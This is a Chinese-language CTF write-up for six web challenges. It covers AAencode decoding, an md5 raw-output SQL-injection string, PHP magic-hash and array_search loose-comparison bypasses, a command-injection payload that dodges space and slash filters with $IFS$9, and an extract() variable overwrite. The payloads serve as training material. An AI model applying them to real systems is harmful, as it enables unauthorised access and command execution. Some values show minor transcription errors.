# 吉警网络安全web方向wp

## 第一题

### 考点

- 1. js的解读
- 2. AAencode的解密

#### 解题

打开页面是个2048的小游戏,直接 ctrl+u 查看源码,看到了提示

这个游戏使用js写的哦,快去康康咋回事吧

那这里看到了三个有用js文件

最后在 main2048.js 里找到了有用的信息

经典的 aaencode 编码,直接解码得到flag

加密

```
alert('flag{2048_1s_fun}');
console.log('HEBTUCTF{Aaenc0de_1s_FuN}');
```

## 第二题

## 考点

1. md5(\$pass,true)的绕过

#### 解题

查看源码看到提示

```
header('hint:select * from \'admin\' where password='.'md5($pass,true)');
```

对于php中的md5函数,其有两个参数

- 1. 第一个参数string是必需的,规定要计算的字符串
- 2. 第二个参数raw可选,规定十六进制或二进制输出格式
  - 。 TRUE 原始 16 字符二进制格式
  - 。 FALSE 默认 32 字符十六进制数

且当以二进制格式输出时,会被当作字符串所处理

这样我们只要找到一个字符串,让其md5值以原始二进制格式输出(被当作字符串)时含有能触发 SQL注入的特殊字符即可

这里提供两个

content: 129581926211651571912466741651878684928

hex: 06da5430449f8f6f23dfc1276f722738 raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

string: T0Do#'or'8

content: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string: 'or'6]!r,b

提交其中任意一个即可得到flag

## 第三题

### 考点

1. php中的弱类型比较

#### 解题

源码看到

```
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b))
```

要让上面的等式成立,a和b的值不能相等,但是md5后的值相等。因为是==比较,只判断值是否相等,不判断类型是否相同。如果类型不同先转换为相同类型再进行比较而PHP在处理哈希字符串时后,会把 ØE 开头的哈希值解释为0。所以如果两个值通过md5后值都已0E开头,就会相等

QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a

这些均可满足题意

最后只要构造 a=ONKCDZO&&b=240610708 就可以绕过

这题其实直接给出了结果

```
<script>('./ffllaagg.php')</script>
```

## 第四题

### 考点

1. 弱类型绕过array\_search

## 解题

```
<?php
show_source(__FILE__);
@include once 'flag.php';
//PHP是最好的语言
    $giao = 0;
if($_GET['a']!=$_GET['b'] &&md5($_GET['a']) == md5($_GET['b'])){
    $giao = 1;}
    else {echo'bypass';}
    if(@!is_array($_GET['test'])){exit();}
 $test=$_GET['test'];
 for($i=0;$i<count($test);$i++){</pre>
     if($test[$i]==="admin"){
         echo "error";
         exit();
     $test[$i]=intval($test[$i]);
 }
if(array_search("admin",$test)===0){
     echo "$flag";
}
else{
     echo "false";
 }
?>
```

md5的绕过与上题相同,这里可以看到array\_search只指定了两个参数,并没有开启严格检查,存在弱类型比较

```
根据php手册,如果可选的第三个参数 strict 为 TRUE,则 array_search() 将在 haystack 中检查完全相同的元素。 这意味着同样严格比较 haystack 里 needle 的 类型,并且对象需是同一个实例。 也就是说当为False时存在弱类型的漏洞,而当其为True时,则不存在此漏洞
```

以上题目采用 test[]=0 可以绕过

## 第五题

#### 考点

- 1. linux中空格的替代
- 2. 过滤目录分隔符

#### 解题

rce的题,能看到过滤了空格和'/'

空格我们可以用 \$IFS\$9 来替代,目录分隔符我们可以cd进目录从而绕过

#### 先;ls\$IFS\$9-alt 看下目录看下

```
Array
(
    [0] => total 44
    [1] => drwxrwxrwx
                           1 www-data www-data
                                                      4096 Jul 31 03:40 .
                           1 www-data www-data
                                                     22083 Jul 31 03:32 EDS.php
    [2] => -rwxrwxrwx
                          1 www-data www-data
                                                     2381 Jul 31 03:02 1.php
    [3] \Rightarrow -rw-r--r--
    [4] \Rightarrow -rw-r--r--
                          1 www-data www-data
                                                         0 Jul 31 02:31 -alt
    [5] \Rightarrow drwxr-xr-x
                           2 root
                                      root
                                                      4096 Jul 28 05:41 flag
    [6] \Rightarrow -rw-r--r--
                                                       713 Jul 28 05:41 index.php
                           1 root
                                       root
    [7] => drwxr-xr-x
                                                      4096 Oct 31 2019 ..
                           1 root
                                       root
)
```

#### 再看下flag目录

```
Array
(
     [0] => flag.php
)
```

#### 直接读即可

payload

;cd\$IFS\$9flag&&cat\$IFS\$9flag.php

## 第六题

## 考点

1. extract 变量覆盖

### 解题

```
extract($_GET);
if(isset($sys))
{
$content=trim(file_get_contents($flag));
if($sys==$content)
{
echo $flag;
}
else
{
echo'Oh.no';
}
}
```

题目使用了extract(\$\_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件

但是 extract()会把符号表中已存在的变量名的值替换掉,可以利用新传入的值为空的flag替换原有的flag的值

payload: ?sys=&flag